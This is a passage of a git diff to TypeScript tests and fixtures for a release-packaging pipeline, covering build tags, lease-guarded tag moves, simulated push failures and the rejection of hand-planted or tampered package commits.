rides along in every packaged commit: its parent is the source, so no diff GitHub judges shows a workflow change. write(work, ".github/workflows/ci.yml", "name: ci\non: push\njobs: {}\n"); write(work, ".github/dependabot.yml", "version: 2\nupdates: []\n"); write(work, "src/marker.ts", "export const marker = 1;\n"); @@ -298,34 +328,39 @@ export function pushGreenCommit( return { dir, sha }; } -/** The Source trailer as git parses it, proving the value sits in a real trailer block rather than somewhere in the body. */ -export function sourceTrailer(cwd: string, sha: string): string { - return git(cwd, "log", "-1", "--format=%(trailers:key=Source,valueonly)", sha); -} - -/** - * The verify job's checkout: depth 1 at main's head after main moved past the merge commit, so only the confirmation's own fetch can supply the merge - * commit's tree. - */ -export function shallowChecker(fx: Fixture, name: string): string { - pushGreenCommit(fx, `${name}-after-release`, "packaged-bundle-bytes-9\n"); - const checker = join(fx.root, name); - execFileSync("git", ["clone", "--quiet", "--depth", "1", `file://${fx.origin}`, checker]); - disableBackgroundMaintenance(checker); - let known = true; +/** Where a main commit sits on origin's main: its first-parent count, the position its build tag carries. */ +export const positionOf = (fx: Fixture, sha: string): number => + Number(git(fx.origin, "rev-list", "--count", "--first-parent", sha)); +/** The build tag the pipeline names for a main commit. */ +export const buildTagOf = (fx: Fixture, sha: string): string => + `refs/tags/build/${positionOf(fx, sha)}.${sha.slice(0, 7)}`; +/** Every build tag origin holds, in ref order. */ +export const buildTags = (fx: Fixture): string[] => + git(fx.origin, "for-each-ref", "--format=%(refname)", "refs/tags/build/") + .split("\n") + .filter(Boolean); +/** The packaged commit a main commit's build tag names on origin. */ +export const packagedOf = (fx: Fixture, sha: string): string => + git(fx.origin, "rev-parse", `${buildTagOf(fx, sha)}^{}`); +/** Whether origin still holds a commit object: a pruned tag's commit stays until origin collects it, one a + * release tag or latest names stays for good. */ +export function originHolds(fx: Fixture, sha: string): boolean { try { - execFileSync("git", ["rev-parse", "--verify", "--quiet", `${fx.mergeSha}^{commit}`], { - cwd: checker, - stdio: "ignore", - }); + execFileSync("git", ["cat-file", "-e", `${sha}^{commit}`], { cwd: fx.origin, stdio: "ignore" }); + return true; } catch { - known = false; + return false; } - expect(known).toBe(false); - return checker; } -export const buildTip = (fx: Fixture): string => git(fx.origin, "rev-parse", "refs/heads/build"); +/** A depth-1 clone of origin's main: what a shallow checkout gives the pipeline. */ +export function shallowClone(fx: Fixture, name: string): string { + const dir = join(fx.root, name); + execFileSync("git", ["clone", "--quiet", "--depth", "1", `file://${fx.origin}`, dir]); + disableBackgroundMaintenance(dir); + return dir; +} + /** Author and committer of a commit, as the pipeline must stamp its own. */ export const identityOf = (cwd: string, sha: string): string => git(cwd, "log", "-1", "--format=%an <%ae> / %cn <%ce>", sha); @@ -336,75 +371,197 @@ export const BOT_IDENTITY = `${BOT} / ${BOT}`; export const localIdentity = (cwd: string): string => `${git(cwd, "config", "--local", "--get", "user.name")} <${git(cwd, "config", "--local", "--get", "user.email")}>`; export const FIXTURE_IDENTITY = "fixture "; -/** A commit's first parent as its object records it, whatever ref or shallow state the reading clone is in. */ -export const parentOf = (cwd: string, sha: string): string => - git(cwd, "cat-file", "-p", sha).match(/^parent ([0-9a-f]{40})$/m)?.[1] ?? ""; +/** A commit's parents as its object records them, whatever ref or shallow state the reading clone is in. */ +export const parentsOf = (cwd: string, sha: string): string[] => + [...git(cwd, "cat-file", "-p", sha).matchAll(/^parent ([0-9a-f]{40})$/gm)].map((m) => m[1] ?? ""); export const latestTag = (fx: Fixture): string => git(fx.origin, "rev-parse", "refs/tags/latest^{}"); export const remoteRef = (fx: Fixture, ref: string): string => git(fx.work, "ls-remote", "origin", ref); -/** A chain-shaped commit minted by another writer, not pushed; the clone holding it is returned for a competitor plan to push from. */ -export function rivalChainCommit( +/** A commit planted over `parent` from `source`'s tree: the pipeline's shape (build outputs staged, manifest + * stripped) plus `files` over it, unpushed. `message` paragraphs default to the pipeline's subject. */ +export function plantCommit( fx: Fixture, name: string, source: string, parent: string | null, - bundle: string, + files: Record = builtFiles("planted\n"), + message: string[] = ["build: by hand"], ): { from: string; sha: string } { const from = clone(fx.root, fx.origin, name); + return { from, sha: plantCommitIn(from, source, parent, files, message) }; +} + +/** plantCommit inside an existing clone, for a source that clone alone holds. */ +export function plantCommitIn( + from: string, + source: string, + parent: string | null, + files: Record, + message: string[], +): string { git(from, "checkout", "--quiet", source); - stripWorkflows(from); - writeBuild(from, bundle); - stageBuild(from); - stripPrepare(from); - const tree = git(from, "write-tree"); - const sha = git( + for (const [file, content] of Object.entries(files)) { + if (typeof content === "string") { + write(from, file, content); + } else { + mkdirSync(dirname(join(from, file)), { recursive: true }); + symlinkSync(content.linkTo, join(from, file)); + } + git(from, "add", "-f", file); + } + if (!("package.json" in files)) { + stripPrepare(from); + } + return git( from, "commit-tree", - tree, + git(from, "write-tree"), ...(parent === null ? [] : ["-p", parent]), - "-m", - "build: by another run", - "-m", - `Source: ${source}`, + ...message.flatMap((paragraph) => ["-m", paragraph]), ); - return { from, sha }; +} + +/** The refusal of a child that is not its source plus the build outputs alone, whatever deviates. */ +const NOT_A_PACKAGE = + /is not [0-9a-f]{40} plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, alone: its tree is [0-9a-f]{40}, the rebuilt one is [0-9a-f]{40} \(git diff [0-9a-f]{40} [0-9a-f]{40} lists what deviates\); /; + +/** A hand-planted commit under a packaged commit's name, and the refusal every path (a rerun, the major) answers + * with; the remedy tail differs per ref and is the caller's to check. */ +export type PlantedPackage = (fx: Fixture) => { from: string; sha: string; error: RegExp }; +export const PLANTED_PACKAGES: [string, PlantedPackage][] = [ + [ + "a child of another commit", + (fx) => { + const planted = plantCommit( + fx, + "planter", + fx.mergeSha, + fx.seedSha, + builtFiles("packaged-bundle-bytes-1\n"), + ); + return { + ...planted, + error: new RegExp( + ` \\(${planted.sha}\\) has parent ${fx.seedSha}, so it is no package of ${fx.mergeSha} \\(a packaged commit is that commit's child\\); `, + ), + }; + }, + ], + [ + "a root", + (fx) => ({ + ...plantCommit(fx, "planter", fx.mergeSha, null, builtFiles("packaged-bundle-bytes-1\n")), + error: /has no parent, so it is no package of/, + }), + ], + [ + "a child carrying a file beyond the build outputs", + (fx) => ({ + ...plantCommit(fx, "planter", fx.mergeSha, fx.mergeSha, { + ...builtFiles("packaged-bundle-bytes-1\n"), + "src/marker.ts": "export const marker = 666;\n", + }), + error: NOT_A_PACKAGE, + }), + ], + [ + "a child whose package.json kept its preparation scripts", + (fx) => ({ + ...plantCommit(fx, "planter", fx.mergeSha, fx.mergeSha, { + ...builtFiles("packaged-bundle-bytes-1\n"), + "package.json": manifestJson("2.1.0"), + }), + error: NOT_A_PACKAGE, + }), + ], + [ + "a child carrying an empty subtree beyond the build outputs", + (fx) => { + // Invisible to a path diff (no path lives in an empty tree), so only tree identity catches it. + const planted = plantCommit( + fx, + "planter", + fx.mergeSha, + fx.mergeSha, + builtFiles("packaged-bundle-bytes-1\n"), + ); + const emptyTree = execFileSync("git", ["hash-object", "-w", "-t", "tree", "--stdin"], { + cwd: planted.from, + input: "", + encoding: "utf8", + }).trim(); + const tree = execFileSync("git", ["mktree"], { + cwd: planted.from, + input: `${git(planted.from, "ls-tree", `${planted.sha}^{tree}`)}\n040000 tree ${emptyTree}\tempty\n`, + encoding: "utf8", + }).trim(); + return { + from: planted.from, + sha: git(planted.from, "commit-tree", tree, "-p", fx.mergeSha, "-m", "build: by hand"), + error: NOT_A_PACKAGE, + }; + }, + ], + [ + "a child without the library build", + (fx) => ({ + ...plantCommit(fx, "planter", fx.mergeSha, fx.mergeSha, { + "lib/index.js": "packaged-bundle-bytes-1\n", + }), + error: + /is not the tree [0-9a-f]{40} this checkout's build packages|does not carry a non-empty regular-file lib\/pkg\/index\.js \(no entry\)/, + }), + ], + [ + "a child carrying the bundle as a symlink", + (fx) => ({ + ...plantCommit(fx, "planter", fx.mergeSha, fx.mergeSha, { + ...builtFiles("packaged-bundle-bytes-1\n"), + "lib/index.js": { linkTo: "../src/marker.ts" }, + }), + // A run with a fresh build holds the tag to its tree; one without holds it to the required regular files. + error: + /is not the tree [0-9a-f]{40} this checkout's build packages|does not carry a non-empty regular-file lib\/index\.js/, + }), + ], +]; + +/** A packaged commit as another run would mint it for `source` with `bundle`: its child, the pipeline's tree. */ +export function rivalPackage( + fx: Fixture, + name: string, + source: string, + bundle: string, +): { from: string; sha: string } { + return plantCommit(fx, name, source, source, builtFiles(bundle), ["build: by another run"]); } /** What the shim does to the pipeline's n-th push, before real git sees it. */ export type PushPlan = /** Force-push `sha` to `ref` first from the clone `from`; real git then judges the pipeline's push. */ | { competitor: { from: string; sha: string; ref: string } } - /** Run this shell first (a rival whose commit depends on origin's state at that moment). */ + /** Run this shell first (a rival whose action depends on origin's state at that moment). */ | { script: string } /** Replay a remote a file:// origin cannot play: this stderr, this exit status. */ | { fail: { stderr: string; status: number } }; -/** What the shim does to the pipeline's remote reads and writes. */ -export interface RemotePlans { - /** The n-th push's plan, or null to let it through. */ - pushes?: (PushPlan | null)[]; - /** Run this shell ONCE, right after the first ls-remote whose arguments include `naming`: a rival landing between - * that read and the write it informs. */ - afterLsRemote?: { naming: string; script: string }; -} - +/** Run `body` with the shim playing `plans` against the pipeline's pushes, in order, and `afterLsRemote`'s shell + * ONCE right after the first ls-remote whose arguments include `naming` (a rival landing between that read and the + * write it informs); the pushes the pipeline attempted, as logged. */ export function withPushPlans( fx: Fixture, plans: (PushPlan | null)[], body: () => void, + afterLsRemote?: { naming: string; script: string }, ): string[][] { - return withRemotePlans(fx, { pushes: plans }, body); -} - -export function withRemotePlans(fx: Fixture, remote: RemotePlans, body: () => void): string[][] { const plansDir = mkdtempSync(join(fx.root, "push-plans-")); - if (remote.afterLsRemote !== undefined) { - writeFileSync(join(plansDir, "after-ls-remote.naming"), `${remote.afterLsRemote.naming}\n`); - writeFileSync(join(plansDir, "after-ls-remote.sh"), remote.afterLsRemote.script); + if (afterLsRemote !== undefined) { + writeFileSync(join(plansDir, "after-ls-remote.naming"), `${afterLsRemote.naming}\n`); + writeFileSync(join(plansDir, "after-ls-remote.sh"), afterLsRemote.script); } - for (const [index, plan] of (remote.pushes ?? []).entries()) { + for (const [index, plan] of plans.entries()) { if (plan === null) { continue; } @@ -442,26 +599,30 @@ export function withRemotePlans(fx: Fixture, remote: RemotePlans, body: () => vo .map((line) => line.split(" ")); } -export const appendOf = (sha: string): string[] => ["push", "origin", `${sha}:refs/heads/build`]; -export const latestOf = (observed: string, tip: string): string[] => [ +export const LATEST = "refs/tags/latest"; +export const ANCHOR_PUSH = ["push", "origin", "HEAD:refs/heads/release-please--branches--main"]; +/** The pipeline's pushes as the shim logs them: a create-once push, a lease-guarded move, a batch of deletions. */ +export const createOf = (commit: string, ref: string): string[] => [ "push", - `--force-with-lease=refs/tags/latest:${observed}`, "origin", - `${tip}:refs/tags/latest`, + `${commit}:${ref}`, ]; -export const majorOf = (observed: string): string[] => [ +export const moveOf = (ref: string, observed: string, commit: string): string[] => [ "push", - `--force-with-lease=refs/tags/v2:${observed}`, + `--force-with-lease=${ref}:${observed}`, "origin", - "refs/tags/v2", + `${commit}:${ref}`, ]; -export const TAG_PUSH = ["push", "origin", "refs/tags/v2.1.0"]; -export const ANCHOR_PUSH = ["push", "origin", "HEAD:refs/heads/release-please--branches--main"]; -/** The commit a logged append carried (its objects exist in the pushing clone). */ -export const appendedSha = (push: string[]): string => - push.join(" ").replace(/^push origin (\w+):refs\/heads\/build$/, "$1"); +export const deleteOf = (...refs: string[]): string[] => [ + "push", + "origin", + ...refs.map((ref) => `:${ref}`), +]; +/** The commit a logged create push carried (its objects exist in the pushing clone). */ +export const createdSha = (push: string[]): string => (push[2] ?? "").split(":")[0] ?? ""; -/** Remotes a file:// origin cannot play, as git words them; none is a retry's to win. */ +/** Remotes a file:// origin cannot play, as git words them, replayed with the ref UNMOVED on origin: none is a + * retry's to win, the third one however much its words look like a lost compare-and-set. */ export const PERMANENT: [string, string][] = [ [ "a token without write access", @@ -469,15 +630,39 @@ export const PERMANENT: [string, string][] = [ ], [ "a ruleset declining the ref", - "remote: error: GH013: Repository rule violations found for refs/heads/build.\nremote:\n" + + "remote: error: GH013: Repository rule violations found for refs/tags/latest.\nremote:\n" + "remote: - Cannot update this protected ref.\nremote:\nTo https://github.com/o/r.git\n" + - " ! [remote rejected] 0123abc -> build (push declined due to repository rule violations)\n" + + " ! [remote rejected] 0123abc -> latest (push declined due to repository rule violations)\n" + "error: failed to push some refs to 'https://github.com/o/r.git'\n", ], [ - "a hook quoting git's compare-and-set words on its own line", - "remote: pre-receive hook declined: cannot lock ref 'refs/heads/build': reference already exists\n" + - "To https://github.com/o/r.git\n ! [remote rejected] 0123abc -> build (pre-receive hook declined)\n" + + "git's compare-and-set words while the ref stands where it was read", + "To https://github.com/o/r.git\n ! [rejected] 0123abc -> latest (stale info)\n" + "error: failed to push some refs to 'https://github.com/o/r.git'\n", ], ]; + +/** Run the script's subcommand under this bun as the workflow does: stdout, stderr, and status as they were. + * Asynchronous, so a registry served from the test process can answer the child. */ +export async function subcommand( + cwd: string, + env: Record, + ...args: string[] +): Promise<{ stdout: string; stderr: string; status: number }> { + const script = join(import.meta.dir, "..", "..", ".github", "scripts", "release-pipeline.ts"); + const child = Bun.spawn([process.execPath, script, ...args], { + cwd, + env: Object.fromEntries( + Object.entries({ ...process.env, ...env }).filter(([, v]) => v !== undefined), + ) as Record, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + }); + const [stdout, stderr, status] = await Promise.all([ + new Response(child.stdout).text(), + new Response(child.stderr).text(), + child.exited, + ]); + return { stdout, stderr, status }; +} diff --git a/test/scripts/release-pipeline.test.ts b/test/scripts/release-pipeline.test.ts index bf99dfe4..0dddb8e8 100644 --- a/test/scripts/release-pipeline.test.ts +++ b/test/scripts/release-pipeline.test.ts @@ -9,72 +9,64 @@ import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync } from "node import { tmpdir } from "node:os"; import { basename, join } from "node:path"; import { - advanceBuild, anchorCheck, anchorReleasePr, boundaryCheck, type MainPosition, mainPosition, + type NextVerdict, nextPublishVerdict, npmConfirm, npmVerdict, type Packument, type PublishVerdict, + packageCommit, packageRelease, prereleaseVersion, prereleaseVersionOf, - releaseOrder, retagMajor, stablePublishVerdict, - verifyPublishedRefs, } from "../../.github/scripts/release-pipeline.js"; import { ROOT } from "../root.js"; import { ANCHOR_PUSH, - appendedSha, - appendOf, BOT_IDENTITY, - buildTip, - builtFiles, + buildTagOf, + buildTags, CHANGELOG_21, checkoutOf, clone, commitAll, + createOf, + expectPackage, FIXTURE_IDENTITY, type Fixture, git, guardRefusal, identityOf, installReleasePipelineFixture, - latestOf, + LATEST, latestTag, localIdentity, - majorOf, - PACKAGED_DIFF, + moveOf, PERMANENT, - parentOf, + PLANTED_PACKAGES, + packagedOf, + parentsOf, pushGreenCommit, - realGit, remoteRef, - rivalChainCommit, + rivalPackage, roots, seedFixture, - shallowChecker, - shouldStripManifest, - sourceTrailer, - stageBuild, - stripPrepare, - stripWorkflows, - TAG_PUSH, - treePaths, + shallowClone, + subcommand, withPushPlans, - withRemotePlans, write, writeBuild, } from "./release-pipeline-fixture.js"; // Dozens of git spawns per test time out bun's 5s default under parallel machine load. -setDefaultTimeout(30_000); +setDefaultTimeout(60_000); installReleasePipelineFixture(); describe("the fixture push guard", () => { @@ -148,8 +140,15 @@ describe("the fixture repositories", () => { }); }); +const TAG = "refs/tags/v2.1.0"; +const V2 = "refs/tags/v2"; +const FROZEN = + "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand."; +/** `text` as a regex source matching it literally. */ +const literally = (text: string): string => text.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + describe("packageRelease", () => { - test("a fresh release with no build branch appends its chain commit, tags it, and a rerun verifies it", () => { + test("a fresh release mints the merge commit's package under its build tag, tags it, and creates latest; a rerun verifies it and pushes nothing", () => { const fx = seedFixture(); let result: ReturnType | undefined; const pushes = withPushPlans(fx, [], () => { @@ -160,79 +159,108 @@ describe("packageRelease", () => { runUrl: "https://example.invalid/actions/runs/1", }); }); - const packaged = git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}"); - expect(result).toEqual({ created: true, packagedSha: packaged, latestSha: packaged }); - expect(pushes).toEqual([appendOf(packaged), TAG_PUSH, latestOf("", packaged)]); - // The chain's first commit is a root: a child of the source would record the workflow files' deletion, a workflow change the default token may - // not push. - expect(buildTip(fx)).toBe(packaged); - expect(latestTag(fx)).toBe(packaged); - retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(packaged); - expect(parentOf(fx.origin, packaged)).toBe(""); - expect(git(fx.origin, "diff", "--name-only", fx.mergeSha, packaged)).toBe(PACKAGED_DIFF); - expect(treePaths(fx.origin, packaged)).toEqual([ - ".github/dependabot.yml", - ".gitignore", - ".release-please-manifest.json", - "CHANGELOG.md", - "lib/index.js", - "lib/pkg/index.d.ts", - "lib/pkg/index.js", - "package.json", - "release-please-config.json", - "src/marker.ts", + const packaged = git(fx.origin, "rev-parse", `${TAG}^{}`); + const buildTag = buildTagOf(fx, fx.mergeSha); + expect(result).toMatchObject({ + created: true, + packagedSha: packaged, + pruned: [], + latest: { sha: packaged, changed: true }, + }); + expect(pushes).toEqual([ + createOf(packaged, buildTag), + createOf(packaged, TAG), + moveOf(LATEST, "", packaged), ]); - expect(git(fx.origin, "show", `${packaged}:lib/index.js`)).toBe("packaged-bundle-bytes-1"); - expect(git(fx.origin, "show", `${packaged}:lib/pkg/index.js`)).toBe( - "library-packaged-bundle-bytes-1", + expect(packagedOf(fx, fx.mergeSha)).toBe(packaged); + expect(latestTag(fx)).toBe(packaged); + expectPackage( + fx, + packaged, + fx.mergeSha, + "packaged-bundle-bytes-1", + "https://example.invalid/actions/runs/1", ); - const body = git(fx.origin, "log", "-1", "--format=%B", packaged); - expect(body).toContain(`build: main at ${git(fx.origin, "rev-parse", "--short", fx.mergeSha)}`); - expect(body).toContain("Workflow-run: https://example.invalid/actions/runs/1"); - expect(sourceTrailer(fx.origin, packaged)).toBe(fx.mergeSha); + expect(localIdentity(fx.work)).toBe(FIXTURE_IDENTITY); const rerun = checkoutOf(fx, "rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); let verified: ReturnType | undefined; const rerunPushes = withPushPlans(fx, [], () => { verified = packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }); }); - expect(verified).toEqual({ created: false, packagedSha: packaged, latestSha: packaged }); + expect(verified).toMatchObject({ + created: false, + packagedSha: packaged, + pruned: [], + latest: { sha: packaged, changed: false }, + }); expect(rerunPushes).toEqual([]); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(packaged); - expect(buildTip(fx)).toBe(packaged); + expect(git(fx.origin, "rev-parse", `${TAG}^{}`)).toBe(packaged); + expect(buildTags(fx)).toEqual([buildTag]); }); - test("a release whose chain commit post-green already appended is tagged there, with no second append", () => { + test("a release whose package post-green already minted is tagged there, with no second package", () => { const fx = seedFixture(); - const chain = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; + const packaged = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }).commit; const release = checkoutOf(fx, "release", fx.mergeSha, "packaged-bundle-bytes-1\n"); let result: ReturnType | undefined; const pushes = withPushPlans(fx, [], () => { result = packageRelease({ cwd: release, tag: "v2.1.0", sourceSha: fx.mergeSha }); }); - // latest already sits where post-green put it, so no lease push. - expect(result).toEqual({ created: true, packagedSha: chain, latestSha: chain }); - expect(pushes).toEqual([TAG_PUSH]); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(chain); - expect(buildTip(fx)).toBe(chain); + expect(result).toMatchObject({ + created: true, + packagedSha: packaged, + pruned: [], + latest: { sha: packaged, changed: false }, + }); + expect(pushes).toEqual([createOf(packaged, TAG)]); + expect(git(fx.origin, "rev-parse", `${TAG}^{}`)).toBe(packaged); + expect(buildTags(fx)).toEqual([buildTagOf(fx, fx.mergeSha)]); }); - test("a release whose chain commit lies behind newer green commits is found on the chain", () => { + test("a release behind newer green commits is tagged on its own package and leaves latest on the newest", () => { const fx = seedFixture(); - const chain = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; + const packaged = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }).commit; const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const tip = advanceBuild({ cwd: next.dir, sourceSha: next.sha }).buildSha; + const newer = packageCommit({ cwd: next.dir, sourceSha: next.sha }).commit; const release = checkoutOf(fx, "release", fx.mergeSha, "packaged-bundle-bytes-1\n"); let result: ReturnType | undefined; const pushes = withPushPlans(fx, [], () => { result = packageRelease({ cwd: release, tag: "v2.1.0", sourceSha: fx.mergeSha }); }); - expect(result).toEqual({ created: true, packagedSha: chain, latestSha: tip }); - expect(pushes).toEqual([TAG_PUSH]); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(chain); - expect(buildTip(fx)).toBe(tip); - expect(latestTag(fx)).toBe(tip); + expect(result).toMatchObject({ + created: true, + packagedSha: packaged, + pruned: [], + latest: { sha: newer, changed: false }, + }); + expect(pushes).toEqual([createOf(packaged, TAG)]); + expect(git(fx.origin, "rev-parse", `${TAG}^{}`)).toBe(packaged); + expect(latestTag(fx)).toBe(newer); + }); + + test("a release post-green skipped mints its package behind a newer commit's, and latest stays on the newer one", () => { + const fx = seedFixture(); + const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); + const newer = packageCommit({ cwd: next.dir, sourceSha: next.sha }).commit; + const release = checkoutOf(fx, "release", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let result: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + result = packageRelease({ cwd: release, tag: "v2.1.0", sourceSha: fx.mergeSha }); + }); + const packaged = packagedOf(fx, fx.mergeSha); + expect(result).toMatchObject({ + created: true, + packagedSha: packaged, + pruned: [], + latest: { sha: newer, changed: false }, + }); + expect(pushes).toEqual([ + createOf(packaged, buildTagOf(fx, fx.mergeSha)), + createOf(packaged, TAG), + ]); + expect(parentsOf(fx.origin, packaged)).toEqual([fx.mergeSha]); + expect(latestTag(fx)).toBe(newer); }); test("a first release whose latest move failed is healed by its rerun", () => { @@ -246,354 +274,107 @@ describe("packageRelease", () => { error = thrown; } }); - const packaged = git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}"); - expect(pushes).toEqual([appendOf(packaged), TAG_PUSH, latestOf("", packaged)]); + const packaged = git(fx.origin, "rev-parse", `${TAG}^{}`); + expect(pushes).toEqual([ + createOf(packaged, buildTagOf(fx, fx.mergeSha)), + createOf(packaged, TAG), + moveOf(LATEST, "", packaged), + ]); expect(error).toEqual( new Error( - `git push --force-with-lease=refs/tags/latest: origin ${packaged}:refs/tags/latest failed: ${stderr.trim()}`, + `git push --force-with-lease=${LATEST}: origin ${packaged}:${LATEST} failed: ${stderr.trim()}`, ), ); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); + expect(remoteRef(fx, LATEST)).toBe(""); const rerun = checkoutOf(fx, "rerun-heal", fx.mergeSha, "packaged-bundle-bytes-1\n"); let result: ReturnType | undefined; const rerunPushes = withPushPlans(fx, [], () => { result = packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }); }); - expect(result).toEqual({ created: false, packagedSha: packaged, latestSha: packaged }); - expect(rerunPushes).toEqual([latestOf("", packaged)]); - expect(latestTag(fx)).toBe(packaged); - }); - - test("a rerun of a release whose chain commit is followed by a backfill of an older source judges the backfill on main's full history", () => { - const fx = seedFixture(); - // main: seed -> merge -> next. build: P(merge) with the tag, Q(next), then - // a backfill of the SEED after them; latest at Q. - const packaged = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const newer = advanceBuild({ cwd: next.dir, sourceSha: next.sha }).buildSha; - const backfill = rivalChainCommit( - fx, - "seed-backfill", - fx.seedSha, - newer, - "packaged-bundle-bytes-0\n", - ); - git(backfill.from, "push", "--quiet", "origin", `${backfill.sha}:refs/heads/build`); - // The rerun's checkout is a full clone at the merge commit; fetching the tag must not cut the seed out of main's history, or the backfill would - // read as off main. - const rerun = checkoutOf(fx, "rerun-backfilled", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }); - }); - expect(result).toEqual({ created: false, packagedSha: packaged.packagedSha, latestSha: newer }); - expect(pushes).toEqual([]); - expect(latestTag(fx)).toBe(newer); - // No fetch along the way may have cut the chain's parent links: a shallow marker on a chain commit would read the release as off build. - expect(retagMajor({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha })).toEqual({ - major: "v2", - packagedSha: packaged.packagedSha, - }); - expect(verifyPublishedRefs({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha })).toEqual({ - major: "v2", - packagedSha: packaged.packagedSha, - }); - }); - - test("a release whose source is older than what latest names appends without moving latest", () => { - const fx = seedFixture(); - // post-green skipped the merge commit; the next green commit was published. - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const newer = advanceBuild({ cwd: next.dir, sourceSha: next.sha }).buildSha; - const release = checkoutOf(fx, "release", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = packageRelease({ cwd: release, tag: "v2.1.0", sourceSha: fx.mergeSha }); + expect(result).toMatchObject({ + created: false, + packagedSha: packaged, + pruned: [], + latest: { sha: packaged, changed: true }, }); - const tip = buildTip(fx); - expect(result).toEqual({ created: true, packagedSha: tip, latestSha: newer }); - expect(pushes).toEqual([appendOf(tip), TAG_PUSH]); - expect(git(fx.origin, "rev-parse", `${tip}^`)).toBe(newer); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(tip); - expect(latestTag(fx)).toBe(newer); - }); - - test("an append overtaken by a rival packaging the same source tags the rival's commit", () => { - const fx = seedFixture(); - const rival = rivalChainCommit( - fx, - "rival-same", - fx.mergeSha, - null, - "packaged-bundle-bytes-1\n", - ); - let result: ReturnType | undefined; - const pushes = withPushPlans( - fx, - [{ competitor: { from: rival.from, sha: rival.sha, ref: "refs/heads/build" } }], - () => { - result = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - }, - ); - expect(result).toEqual({ created: true, packagedSha: rival.sha, latestSha: rival.sha }); - const rejected = appendedSha(pushes[0] ?? []); - expect(pushes).toEqual([appendOf(rejected), TAG_PUSH, latestOf("", rival.sha)]); - expect(parentOf(fx.work, rejected)).toBe(""); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(rival.sha); - expect(buildTip(fx)).toBe(rival.sha); + expect(rerunPushes).toEqual([moveOf(LATEST, "", packaged)]); + expect(latestTag(fx)).toBe(packaged); }); - test("an append overtaken by a rival packaging another source is retried after it", () => { + test("a rival run tagging the release between the read and the push is verified, and its commit is what the run reports", () => { const fx = seedFixture(); - const rival = rivalChainCommit(fx, "rival-other", fx.seedSha, null, "competitor-bundle\n"); + // A hand-shaped race: two runs of one release share the build tag, so only a hand push can tag another + // commit; a rival with the same build passes the byte check and is adopted. + const rival = rivalPackage(fx, "rival-same", fx.mergeSha, "packaged-bundle-bytes-1\n"); let result: ReturnType | undefined; const pushes = withPushPlans( fx, - [{ competitor: { from: rival.from, sha: rival.sha, ref: "refs/heads/build" } }], + [null, { competitor: { from: rival.from, sha: rival.sha, ref: TAG } }], () => { result = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); }, ); - const tip = buildTip(fx); - expect(result).toEqual({ created: true, packagedSha: tip, latestSha: tip }); - const rejected = appendedSha(pushes[0] ?? []); - expect(pushes).toEqual([appendOf(rejected), appendOf(tip), TAG_PUSH, latestOf("", tip)]); - expect(parentOf(fx.work, rejected)).toBe(""); - expect(git(fx.origin, "rev-parse", `${tip}^`)).toBe(rival.sha); - expect(sourceTrailer(fx.origin, tip)).toBe(fx.mergeSha); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(tip); + const own = packagedOf(fx, fx.mergeSha); + expect(own).not.toBe(rival.sha); + expect(result).toMatchObject({ + created: false, + packagedSha: rival.sha, + pruned: [], + latest: { sha: rival.sha, changed: true }, + }); + expect(pushes).toEqual([ + createOf(own, buildTagOf(fx, fx.mergeSha)), + createOf(own, TAG), + moveOf(LATEST, "", rival.sha), + ]); + expect(git(fx.origin, "rev-parse", `${TAG}^{}`)).toBe(rival.sha); }); - /** What a rerun's rebuild can get wrong under the packaged paths, and how the verification names it. */ - const drifted: [string, (rerun: string) => void, RegExp][] = [ - [ - "the action bundle's bytes", - (rerun) => write(rerun, "lib/index.js", "DIFFERENT-bytes\n"), - /refs\/tags\/v2\.1\.0 carries a lib\/index\.js that is not a build of [0-9a-f]{40}'s source/, - ], + /** What a rerun's rebuild can get wrong under the packaged paths; every one is a tree the tag does not carry. */ + const drifted: [string, (rerun: string) => void][] = [ + ["the action bundle's bytes", (rerun) => write(rerun, "lib/index.js", "DIFFERENT-bytes\n")], [ "the library declarations' bytes", (rerun) => write(rerun, "lib/pkg/index.d.ts", "DIFFERENT-types\n"), - /refs\/tags\/v2\.1\.0 carries a lib\/pkg\/index\.d\.ts that is not a build of 